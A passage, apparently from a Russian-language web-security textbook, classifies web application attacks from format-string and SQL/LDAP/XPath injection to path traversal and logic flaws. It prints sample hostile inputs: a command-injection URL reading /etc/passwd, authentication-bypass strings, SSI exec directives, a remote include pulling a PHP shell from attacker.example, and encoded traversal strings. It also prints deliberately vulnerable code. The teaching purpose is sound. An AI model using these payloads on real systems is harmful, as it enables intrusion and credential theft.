Атака на функции форматирования строк (Format String Attack). При использовании этих атак путь исполнения программы модифицируется методом перезаписи областей памяти с помощью функций форматирования символьных переменных. Уязвимость возникает, когда пользовательские данные применяются в качестве аргументов функций форматирования строк, таких как fprintf, printf, sprintf, setproctitle, syslog и т. д. Если атакующий передает приложению строку, содержащую символы форматирования (%f, %p, %n и т. д.), то у него появляется возможность:

¦ выполнять произвольный код на сервере;

¦ считывать значения из стека;

¦ вызывать ошибки в программе/отказ в обслуживании.

Вот пример: предположим, веб-приложение хранит параметр emailAddress для каждого пользователя. Это значение используется в качестве аргумента функции printf: printf(emailAddress). Если значение переменной emailAddress содержит символы форматирования, то функция printf будет обрабатывать их согласно заложенной в нее логике. Поскольку дополнительных значений этой функции не передано, будут использованы значения стека, хранящие другие данные.

Возможны следующие методы эксплуатации атак на функции форматирования строк.

¦ Чтение данных из стека. Если вывод функции printf передается атакующему, он получает возможность чтения данных из стека, используя символ форматирования %x.

¦ Чтение строк из памяти процесса. Если вывод функции printf передается атакующему, он может получать строки из памяти процесса, передавая в параметрах символ %s.

¦ Запись целочисленных значений в память процесса. Используя символ форматирования %n, злоумышленник может сохранять целочисленные значения в памяти процесса. Таким образом можно перезаписать важные значения, например флаги управления доступом или адрес возврата.

Внедрение операторов LDAP (LDAP Injection). Атаки этого типа направлены на веб-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем. Упрощенный протокол доступа к службе каталога (Lightweight Directory Access Protocol, LDAP) – открытый протокол для создания запросов и управления службами каталога, совместимыми со стандартом X.500. Протокол LDAP работает поверх транспортных протоколов Интернет (TCP/UDP). Веб-приложение может использовать данные, предоставленные пользователем для создания запросов по протоколу LDAP при генерации динамических веб-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать LDAP-запрос. Причем запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). Если данный компонент имеет права на чтение или модификацию данных в структуре каталога, злоумышленник получает те же возможности. В листинге 1.11 представлен пример кода, который может быть подвержен атаке данного вида.

Листинг 1.11. Уязвимый код с комментариями

line 0: <html>

line 1: <body>

line 2: <%@ Language=VBScript %>

line 3: <%

line 4: Dim userName

line 5: Dim filter

line 6: Dim ldapObj

line 7:

line 8: Const LDAP_SERVER = "ldap.example"

line 9:

line 10: userName = Request.QueryString("user")

line 11:

line 12: if( userName = "" ) then

line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>")

line 14: Response.End()

line 15: end if

line 16:

line 17:

line 18: filter = "(uid=" + CStr(userName) + ")" " searching for the user entry

line 19:

line 20:

line 21: "Creating the LDAP object and setting the base dn

line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")

line 23: ldapObj.ServerName = LDAP_SERVER

line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"

line 25:

line 26: 'Setting the search filter

line 27: ldapObj.SearchFilter = filter

line 28:

line 29: ldapObj.Search

line 30:

line 31: 'Showing the user information

line 32: While ldapObj.NextResult = 1

line 33: Response.Write("<p>")

line 34:

line 35: Response.Write("<b><u>User information for: " + ldapObj.AttrValue(0) + "</u></b><br>")

line 36: For i = 0 To ldapObj.AttrCount-1

line 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b>: " + ldapObj.AttrValue(i) + "<br>" )

line 38: Next

line 39: Response.Write("</p>")

line 40: Wend

line 41: %>

line 42: </body>

line 43: </html>

Обратите внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строки 10-12). Если в переменной содержится какое-то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение используется для построения запроса к службе LDAP (строка 27), который исполняется в строке 29. В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32-40).

Выполнение команд операционной системы (OS Commanding). Атаки этого класса направлены на выполнение команд операционной системы на веб-сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды операционной системы. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). Пример: язык Perl позволяет перенаправлять вывод процесса оператору open, используя символ | в конце имени файла:

#Выполнить "/bin/ls" и передать

#результат оператору

open Open (FILE, "/bin/ls|")

Веб-приложения часто используют параметры, которые указывают на то, какой файл отображать или использовать в качестве шаблона. Если этот параметр не проверяется достаточно тщательно, атакующий может подставить команды операционной системы после символа | . Предположим, приложение оперирует URL следующего вида: http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.

Изменяя значение параметра template, злоумышленник дописывает необходимую команду (/bin/ls) к используемой приложением:

http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|

Большинство языков сценариев позволяет запускать команды операционной системы во время выполнения, используя варианты функции exec. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды операционной системы удаленно. Следующий пример иллюстрирует уязвимый PHP-сценарий:

exec("ls-la $dir",$lines,$rc);

Используя символ ; (UNIX) или & (Windows) в параметре dir, можно выполнить команду операционной системы:

http://example/directory.php?dir=%3Bcat%20/etc/passwd

В результате подобного запроса злоумышленник получает содержимое файла /etc/ passwd.

Внедрение операторов SQL (SQL Injection). Эти атаки направлены на веб-серверы, создающие SQL-запросы к серверам СУБД на основе данных, вводимых пользователем. Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (например, T-SQL в Microsoft SQL Server и т. д.). Многие веб-приложения используют данные, переданные пользователем, для создания динамических веб-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL-серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). В результате злоумышленник может получить полный контроль над сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень похож на LDAP Injection.

Предположим, что аутентификация в веб-приложении осуществляется с помощью веб-формы, обрабатываемой следующим кодом:

SQLQuery = "SELECT Username FROM Users WHERE

Username = '" & strUsername & "' AND Password = '"

& strPassword & strAuthCheck =

GetQueryResult(SQLQuery)

В этом случае разработчики непосредственно используют переданные пользователями значения strUsername и strPassword для создания SQL-запроса. Предположим, злоумышленник передаст следующие значения параметров:

Login:'OR''='

Password:'OR''='

В результате серверу будет передан следующий SQL-запрос:

SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''

Вместо сравнения имени пользователя и пароля с записями в таблице Users данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдет в систему от имени первого пользователя в таблице. Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую веб-приложением.

К примеру, добавляя оператор union к запросу, злоумышленник может проверить доступность базы данных (листинг 1.12).

Листинг 1.12. Пример применения оператора union в запросе

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"

[Microsoft][ODBC SQL Server Driver][SQL Server]All

queries in an SQL statement containing a UNION

operator must have an equal number of expressions

in their target lists.

Из этого примера следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров. Возможен также вариант внедрения SQL-кода вслепую. В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть реализовано и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы – добавление выражений, возвращающих истинное и ложное значения.

Выполнение запроса http://example/article.asp?ID=2+and+1=1 к серверу должно вернуть ту же страницу, что и запрос: http://example/article. asp?ID=2, поскольку выражение and 1=1 всегда истинно.

Если в запрос добавляется выражение, возвращающее значение False: example/article.asp?ID=2+and+1 = 0, то пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.

Если факт наличия уязвимости подтвержден, эксплуатация ничем не отличается от обычного варианта.

Внедрение серверных расширений (SSI Injection). Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на веб-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.

Перед генерацией HTML-страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.

Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !—#exec cmd="/ bin/ls /" – > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в UNIX-системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET: <! – #INCLUDE VIRTUAL="/web.config"->

Другие возможности для атаки возникают, когда веб-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб-приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".

В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб-сервера.

Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).

Внедрение операторов XPath (XPath Injection). Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.

Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.

Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":

String(//user[name/text()='jsmith' and

password/text()='Demo1234']/account/text())

Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб-приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).

Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("…");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr =

nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'

and password/text()='"+TextBox2.Text+

"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="") {

// name+password pair is not found in the XML document

// login failed.

} else {

// account found -> Login succeeded.

// Proceed into the application.

}

В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например ввести в качестве имени пользователя следующее выражение:

' or 1=1 or ''='

В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:

string(//user[name/text()='' or 1=1 or ''='' and

password/text()='foobar']/account/text())

В результате злоумышленник получит доступ в систему от имени первого в XML-документе пользователя, не предоставляя имени пользователя и пароля.

Разглашение информации

Атаки данного класса направлены на получение дополнительной информации о веб-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих ситуациях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.

Индексирование директорий (Directory Indexing). Предоставление списка файлов в директории представляет собой нормальное поведение веб-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm), отсутствует.

Когда пользователь запрашивает основную страницу сайта, он обычно указывает доменное имя сервера без имени конкретного файла (http://www.example.com). Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера. Этот случай аналогичен выполнению команды ls (UNIX) или dir (Windows) на сервере и форматированию результатов в виде HTML. В этой ситуации злоумышленник может получить доступ к данным, не предназначенным для свободного доступа. Довольно часто администраторы полагаются на «безопасность через сокрытие», предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей, такие как Nikto, могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий, сканер может найти спрятанное содержимое или другие файлы. Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему.

Используя индексирование директорий, можно получить доступ к следующим данным.

¦ Резервные копии (BAK, OLD или ORIG-файлы).

¦ Временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.

¦ Спрятанные файлы, название которых начинается с символа ..

¦ Соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back-up или backup).

¦ Список пользователей сервера. Очень часто для каждого пользователя создается папка с именем, основанном на названии учетной записи.

¦ Имена файлов конфигурации (CONF, CFG или CONFIG).

¦ Содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.

Могут использоваться три основных сценария получения списка файлов.

¦ Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Такие ситуации могут возникать при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника, запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.

¦ Некоторые компоненты веб-сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.

¦ Базы данных поисковых машин (Google, Wayback machine) могут содержать кэш старых вариантов сервера, включая списки файлов.

Идентификация приложений (Web Server/Application Fingerprinting). Определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, веб-северах и браузерах. Кроме того, эта атака может быть направлена на другие компоненты веб-приложения, например службу каталога, сервер баз данных или используемые технологии программирования. Обычно подобные атаки осуществляют, анализируя:

¦ особенности реализации протокола HTTP;

¦ заголовки HTTP-ответов;

¦ используемые сервером расширения файлов (ASP или JSP);

¦ значение cookie (ASPSESSION и т. д.);

¦ сообщения об ошибках;

¦ структуру каталогов и используемое соглашение об именах (Windows/UNIX);

¦ интерфейсы поддержки разработки веб-приложений (Frontpage/WebPublisher);

¦ интерфейсы администрирования сервера (iPlanet/Comanche);

¦ версию операционной системы.

Для определения версий клиентских приложений обычно используется анализ HTTP-запросов (порядок следования заголовков, значение User-agent и т. д.). Однако для этих целей могут применяться и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer.

Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнение буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок и, как следствие, общий "шум", производимый атакующим. Данный факт отмечен в HTTP RFC 2068, рекомендующим, чтобы значение заголовка Server HTTP-ответа являлось настраиваемым параметром. Пример: сообщения об ошибках – ошибка 404 сервером Apache обозначается фразой Not Found, в то время как IIS 5.0 отвечает сообщением Object Not Found (листинг 1.14).

Листинг 1.14. Сообщение об ошибке, формируемое сервером Apache

# telnet target1.com 80

Trying target1.com…

Connected to target1.com.

Escape character is '^]'.

HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Not Found

Date: Mon, 07 Jun 2004 14:31:03 GMT

Server: Apache/1.3.29 (UNIX)

mod_perl/1.29

Connection: close

Content-Type: text/html; charset=iso-

8859-1

Синтаксис заголовков также может отличаться. Например, использование строчных или заглавных букв в названии параметров (Content-Length в IIS или Content-length в Netscape-Enterprise/6.0).

Несмотря на требования HTTP RFC, существуют семантические особенности при генерации заголовков различными серверами. Например, Apache передает параметр

Date перед значением заголовка Server, в то время как IIS использует обратный порядок. Порядок значений параметров также может отличаться. Например, при обработке запроса OPTIONS Apache возвращает только параметр Allow, в то время как IIS дополнительно включает параметр Public.

Аналогичным образом может анализироваться наличие опциональных заголовков (Vary, Expires и т. д.) и реакция сервера на неверные запросы (GET //, GET/%2f и т. д.).

Утечка информации (Information Leakage). Эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы. Ценные, с точки зрения злоумышленника, данные могут содержаться в комментариях HTML, сообщениях об ошибках или просто присутствовать в открытом виде. Существует огромное количество ситуаций, в которых может произойти утечка информации. Необязательно она приводит к возникновению уязвимости, но часто дает атакующему прекрасное пособие для развития атаки. С утечкой важной информации могут возникать риски различной степени, поэтому необходимо минимизировать количество служебной информации, доступной на клиентской стороне. Анализ доступной информации позволяет злоумышленнику произвести разведку и получить представление о структуре директорий сервера, используемых SQL-запросах, названиях ключевых процессов и программ сервера. Часто разработчики оставляют комментарии в HTML-страницах и коде сценариев для облегчения поиска ошибок и поддержки приложения. Эта информация может варьироваться от простых описаний деталей функционирования программы до, в худших случаях, имен пользователей и паролей, используемых при отладке.

Утечка информации может относиться и к конфиденциальным данным, обрабатываемым сервером. Это могут быть идентификаторы пользователя (ИНН, номера водительских удостоверений, паспортов и т. д.), а также текущая информация (баланс лицевого счета или история платежей). Многие атаки этой категории выходят за рамки защиты веб-приложений и переходят в область физической безопасности. Утечка информации в этом случае часто возникает, когда в браузере отображается информация, которая не должна выводиться в открытом виде даже пользователю. В качестве примера можно привести пароли пользователя, номера кредитных карточек и т. д. Данный пример хорошо поясняют три основные категории утечки информации: комментарии разработчиков, сообщения об ошибках и отображение конфиденциальной информации. Ниже приведен комментарий разработчиков, который указывает на то, что в случае проблем с загрузкой изображений необходимо перезагрузить сервер VADER:

<TABLE border="0' cellPadding="0' cellSpacing="0'

height="59' width="591'>

<TBODY>

<TR>

<! – If the image files are missing,

restart VADER ->

<TD bgColor="#ffffff" colSpan="5'

height="17' width="587'>&nbsp;</TD>

</TR>

Подробные сообщения об ошибках могут возникать в результате специально сформированного запроса. Ниже приведен пример сообщения, типичного для ошибки, возникающей в результате SQL-запроса. Для реализации атаки с внедрением кода SQL обычно требуется знание структуры запросов, осуществляемых веб-сервером. Сведения, содержащиеся в передаваемой подробной информации об ошибке, могут быть использованы для построения атакующим корректных запросов к серверу баз данных.

Ниже приведено сообщение, выдаваемое сервером при вводе символа апострофа (") в качестве имени пользователя (листинг 1.15).

Листинг 1.15. Сообщение сервера об ошибке при вводе недопустимого символа

An Error Has Occurred.

Error Message:

System.Data.OleDb.OleDbException: Syntax error (missing

operator) in query expression 'username = ''' and password =

'g''. at

System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling (

Int32 hr) at

System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult

( tagDBPARAMS dbParams, Object& executeResult) at

В первой части сообщения выводится часть запроса, вызвавшего ошибку. По этой информации злоумышленник может получить информацию об используемых параметрах запроса и месте запроса, в котором осуществляется внедрение кода.

Обратный путь в директориях

Данная техника атак направлена на получение доступа к файлам, директориям и командам, находящимся вне основной директории веб-сервера. Злоумышленник может манипулировать параметрами URL с целью получить доступ к файлам или выполнить команды, располагаемые в файловой системе веб-сервера.

При подобных атаках потенциально уязвимо любое устройство, имеющее веб-интерфейс. Многие веб-серверы ограничивают доступ пользователя определенной частью файловой системы, обычно называемой web document root или CGI root. Эти директории содержат файлы, предназначенные для пользователя, и программы, необходимые для получения доступа к функциям веб-приложения. Большинство базовых атак, эксплуатирующих обратный путь, основаны на внедрении в URL-символов ../, чтобы изменить расположение ресурса, который будет обрабатываться сервером. Поскольку большинство веб-серверов фильтруют эту последовательность, злоумышленник может воспользоваться альтернативными кодировками для представления символов перехода по директориям. Популярные приемы включают использование альтернативных кодировок, например Unicode (..%u2216 или ..%c0%af), использование обратного слэша (..\) в Windows-серверах, символов URLEncode (%2e%2e%2f) или двойной кодировки URLEncode (..%2 55c). Даже если веб-сервер ограничивает доступ к файлам определенным каталогом, эта уязвимость может возникать в сценариях или CGI-программах. Возможность использования обратного пути в каталогах довольно часто возникает в приложениях, использующих механизмы шаблонов или загружающих текст их страниц из файлов на сервере. В этом варианте атаки злоумышленник модифицирует имя файла, передаваемое в качестве параметра CGI-программы или серверного сценария. В результате злоумышленник может получить исходный код сценариев. Довольно часто к имени запрашиваемого файла добавляются специальные символы – такие как %0 0 – с целью обхода фильтров. Следующие примеры иллюстрируют обратный путь в каталогах вебсервера:

httр://example/../../../../../some/file

httр://example/..%255c..%255c..%255csome/file

httр://example/..%u2216..%u2216some/file

Обратный путь в каталогах веб-приложения:

¦ исходный URL: httр://example/foo.cgi?home=index.htm;

¦ атака: httр://example/foo.cgi?home=foo.cgi.

В приведенном сценарии веб-приложение генерирует страницу, содержащую исходный код сценария foo.cgi, поскольку значение переменной home используется как имя загружаемого файла. Обратите внимание, что в данном случае злоумышленник не использует специальных символов, поскольку целью является файл в той же директории, в которой располагается файл index.htm. Кроме того, возможен вариант обратного пути в каталогах веб-приложения с использованием специальных символов:

¦ исходный URL: http://example/scripts/foo.cgi?page=menu.txt;

¦ атака: http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt.

В приведенном примере веб-приложение загружает исходный текст сценария foo.cgi. Атакующий использует символы ../ для перехода на уровень выше по дереву каталогов и перехода в директорию /scripts. Символ %0 0 используется для обхода проверки расширения файла (приложение позволяет обращаться только к файлам TXT) и чтобы расширение не использовалось при загрузке файла.

Предсказуемое расположение ресурсов

Предсказуемое расположение ресурсов позволяет злоумышленнику получить доступ к скрытым данным или функциональным возможностям. Путем подбора злоумышленник может получить доступ к содержимому, не предназначенному для публичного просмотра. Временные файлы, файлы резервных копий, файлы конфигурации или стандартные примеры часто являются целью подобных атак. В большинстве случаев перебор может быть оптимизирован путем использования стандартного соглашения об именах файлов и директорий сервера. Получаемые злоумышленником файлы могут содержать информацию о дизайне приложения, информацию из баз данных, имена машин или пароли, пути к директориям. Скрытые файлы также могут содержать уязвимости, отсутствующие в основном приложении. На эту атаку часто ссылаются как на перечисление файлов и директорий (Forced Browsing, File Enumeration, Directory Enumeration). Вот и пример: атакующий может создать запрос к любому файлу или папке на сервере. Наличие или отсутствие ресурса определяется по коду ошибки (например, 4 04 в случае отсутствия папки или 4 03 в случае ее наличия на сервере). Ниже приведены варианты подобных запросов.

¦ Слепой поиск популярных названий директорий: /admin/, /backup/, /logs/, /vulnerable file.cgi.

¦ Изменение расширений существующего файла (/test.asp): /test.asp. bak, /test.bak, /test.

¦ Логические атаки (Logical Attacks). Атаки данного класса направлены на эксплуатацию функций приложения или логики его функционирования. Логика приложения представляет собой ожидаемый процесс функционирования программы при выполнении определенных действий. В качестве примеров можно привести восстановление паролей, регистрацию учетных записей, аукционные торги, транзакции в системах электронной коммерции. Приложение может требовать от пользователя корректного выполнения нескольких последовательных действий для решения определенной задачи. Злоумышленник может обойти или использовать эти механизмы в своих целях.

Злоупотребление функциональными возможностями

Данные атаки направлены на использование функций веб-приложения с целью обхода механизмов разграничения доступа. Некоторые механизмы веб-приложения, включая функции обеспечения безопасности, могут быть использованы для этих целей. Наличие уязвимости в одном из, возможно, второстепенных компонентов приложения может привести к компрометации всего приложения. Уровень риска и потенциальные возможности злоумышленника в случае проведения атаки очень сильно зависят от конкретного приложения. Злоупотребление функциональными возможностями очень часто используется совместно с другими атаками, такими как обратный путь в директориях и др. К примеру, при наличии уязвимости типа "межсайтовое выполнение сценариев" в HTML-чате злоумышленник может использовать функции чата для рассылки URL, эксплуатирующего эту уязвимость, всем текущим пользователям. С глобальной точки зрения, все атаки на компьютерные системы являются злоупотреблениями функциональными возможностями. Особенно это относится к атакам, направленным на веб-приложения, которые не требуют модификации функций программы. Примеры злоупотребления функциональными возможностями включают в себя:

¦ применение функций поиска для получения доступа к файлам за пределами корневой директории веб-сервера;

¦ использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев;

¦ реализацию отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.

Ниже приведены примеры подобных уязвимостей, взятые из реальной жизни.

Программа FormMail представляет собой приложение на языке PERL, используемое для передачи данных из HTML-формы на указанный почтовый адрес. Этот сценарий довольно удобно использовать для организации функции обратной связи на сервере. К сожалению, данная программа предоставляла злоумышленнику возможность передавать почтовые сообщения любому почтовому пользователю. Таким образом, приложение могло быть использовано в качестве почтового ретранслятора для рассылки спама. Злоумышленник применяя параметры URL GET-за-проса для указания получателя почтового сообщения, к примеру:

httр://example/cgi-bin/FormMail.pl? recipient= email@victim.example&message =you% 20got%20spam

В качестве отправителя почтового сообщения указывался адрес веб-сервера, что позволяло злоумышленнику оставаться полностью анонимным.

Иногда базовый интерфейс администрирования, поставляемый вместе с веб-приложением, может использоваться с не предусмотренными разработчиками целями. К примеру, Macromedia's Cold Fusion по умолчанию имеет модуль, позволяющий просматривать исходный код сценариев. Злоупотребление этой функцией может привести к получению критичной информации веб-приложения. Удаление или отключение данной функции весьма проблематично, поскольку от нее зависят важные компоненты приложения.

Иногда изменение данных, обрабатываемых приложением, может позволить модифицировать поведение программы. К примеру, уязвимость в функции покупки приложения CyberOffice позволяла модифицировать значение цены, передаваемой пользователю в скрытом поле HTML-формы. Страница подтверждения заказа загружалась злоумышленником, модифицировалась на клиенте и передавалась серверу уже с модифицированным значением цены.

Отказ в обслуживании (Denial of Service). Данный класс атак направлен на нарушение доступности веб-сервера. Обычно атаки, направленные на отказ в обслуживании, реализуются на сетевом уровне, однако они могут быть направлены и на прикладной уровень. Используя функции веб-приложения, злоумышленник может исчерпать критичные ресурсы системы или воспользоваться уязвимостью, приводящей к прекращению функционирования системы. Обычно DoS-атаки направлены на исчерпание критичных системных ресурсов – таких как вычислительные мощности, оперативная память, дисковое пространство или пропускная способность каналов связи. Если какой-то из ресурсов достигнет максимальной загрузки, приложение целиком будет недоступно. Атаки могут быть направлены на любой из компонентов веб-приложения, например такие как сервер СУБД, сервер аутентификации и т. д. В отличие от атак на сетевом уровне, требующих значительных ресурсов злоумышленника, атаки на прикладном уровне обычно легче реализовать. В качестве примера подойдет следующий случай.

Предположим, что сервер Health-Care генерирует отчеты о клинической истории пользователей. Для генерации каждого отчета сервер запрашивает все записи, соответствующие определенному номеру социального страхования. Поскольку в базе содержатся сотни миллионов записей, пользователю приходится ожидать результата несколько минут. В это время загрузка процессора сервера СУБД достигает 60 %. Злоумышленник может послать десять одновременных запросов на получение отчетов, что с высокой вероятностью приведет к отказу в обслуживании, поскольку загрузка процессора сервера баз данных достигнет максимального значения. На время обработки запросов злоумышленника нормальная работа сервера будет невозможна. Как второй вариант – атаки на сервер СУБД. Злоумышленник может воспользоваться внедрением кода SQL для удаления данных из таблиц, что приведет к отказу в обслуживания приложения.

Недостаточное противодействие автоматизации (Insufficient Anti-automation).

Недостаточное противодействие автоматизации возникает, когда сервер позволяет автоматически выполнять операции, которые должны проводиться вручную. Для некоторых функций приложения необходимо реализовывать защиту от автоматических атак. Автоматизированные программы могут варьироваться от безобидных роботов поисковых систем до систем автоматизированного поиска уязвимостей и регистрации учетных записей. Подобные роботы генерируют тысячи запросов в минуту, что может привести к падению производительности всего приложения. Противодействие автоматизации заключается в ограничении возможностей подобных утилит. Например, файл robots может предотвращать индексирование некоторых частей сервера, а дополнительные средства идентификации – автоматическую регистрацию сотен учетных записей системы электронной почты.

Недостаточная проверка процесса (Insufficient Process Validation). Уязвимости этого класса возникают, когда сервер недостаточно проверяет последовательность выполнения операций приложения. Если состояние сессии пользователя и приложения должным образом не контролируется, приложение может быть уязвимо для мошеннических действий. В процессе доступа к некоторым функциям приложения ожидается, что пользователь выполнит ряд действий в определенном порядке. Если некоторые действия выполняются неверно или в неправильном порядке, возникает ошибка, приводящая к нарушению целостности. Примерами подобных функций выступают переводы, восстановление паролей, подтверждение покупки, создание учетной записи и т. д. В большинстве случаев эти процессы состоят из ряда последовательных действий, осуществляемых в четком порядке. Для обеспечения корректной работы подобных функций веб-приложение должно четко отслеживать состояние сессии пользователя и ее соответствие текущим операциям. В большинстве случаев это осуществляется путем сохранения состояния сессии в cookie или скрытом поле формы HTML. Но поскольку эти значения могут быть модифицированы пользователем, обязательно должна проводиться их проверка на сервере. Если этого не происходит, злоумышленник получает возможность обойти последовательность действий и, как следствие, логику приложения. В качестве примера подойдет следующее. Система электронной торговли может предлагать скидку на продукт B в случае покупки продукта A. Пользователь, не желающий покупать продукт A, может попытаться приобрести продукт B со скидкой. Заполнив заказ на покупку обоих продуктов, пользователь получает скидку. Затем он возвращается к форме подтверждения заказа и удаляет продукт A из покупаемых путем модификации значений в форме. Если сервер повторно не проверит возможность покупки продукта B по указанной цене без продукта A, будет осуществлена закупка по низкой цене.

